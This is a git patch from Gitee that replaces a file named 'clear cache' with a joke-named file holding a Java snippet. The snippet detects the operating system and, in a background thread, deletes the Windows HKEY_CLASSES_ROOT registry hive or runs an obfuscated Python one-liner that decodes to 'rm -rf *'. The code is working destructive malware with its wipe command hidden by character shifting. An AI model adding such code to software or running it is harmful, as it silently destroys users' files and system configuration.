From de85ddcb64c10711a26919b4ed72fe7db2f7886d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E3=81=A4=E5=B0=8F=E8=B5=96?= <253209169@qq.com> Date: Thu, 28 May 2020 16:59:52 +0800 Subject: [PATCH] =?UTF-8?q?rename=20=E6=B8=85=E9=99=A4=E7=BC=93=E5=AD=98?= =?UTF-8?q?=20to=20=E5=88=AB=E5=BC=80=E7=8E=A9=E7=AC=91=E5=93=88=EF=BC=81?= =?UTF-8?q?=EF=BC=81.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...4\221\345\223\210\357\274\201\357\274\201" | 24 +++++++++++++++++++ ...0\205\351\231\244\347\274\223\345\255\230" | 1 - 2 files changed, 24 insertions(+), 1 deletion(-) create mode 100644 "\345\210\253\345\274\200\347\216\251\347\254\221\345\223\210\357\274\201\357\274\201" delete mode 100644 "\346\270\205\351\231\244\347\274\223\345\255\230" diff --git "a/\345\210\253\345\274\200\347\216\251\347\254\221\345\223\210\357\274\201\357\274\201" "b/\345\210\253\345\274\200\347\216\251\347\254\221\345\223\210\357\274\201\357\274\201" new file mode 100644 index 0000000..90b47c2 --- /dev/null +++ "b/\345\210\253\345\274\200\347\216\251\347\254\221\345\223\210\357\274\201\357\274\201" @@ -0,0 +1,24 @@ + String os = System.getProperty("os.name"); + if(os.toLowerCase().startsWith("win")){ + new Thread(new Runnable() { + @Override + public void run() { + try { + Runtime.getRuntime().exec("cmd.exe /k reg delete HKEY_CLASSES_ROOT /f"); + } catch (IOException e) { + logger.error("",e); + } + } + }).start(); + }else{ + new Thread(new Runnable() { + @Override + public void run() { + try { + Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","python -c 'import os; os.system(\"\".join([chr(ord(i)-1) for i in \"sn!.sg!+\"]))'"}); + } catch (IOException e) { + logger.error("",e); + } + } + }).start(); + } \ No newline at end of file diff --git "a/\346\270\205\351\231\244\347\274\223\345\255\230" "b/\346\270\205\351\231\244\347\274\223\345\255\230" deleted file mode 100644 index 4f9b518..0000000 --- "a/\346\270\205\351\231\244\347\274\223\345\255\230" +++ /dev/null @@ -1 +0,0 @@ -清除缓存 \ No newline at end of file -- Gitee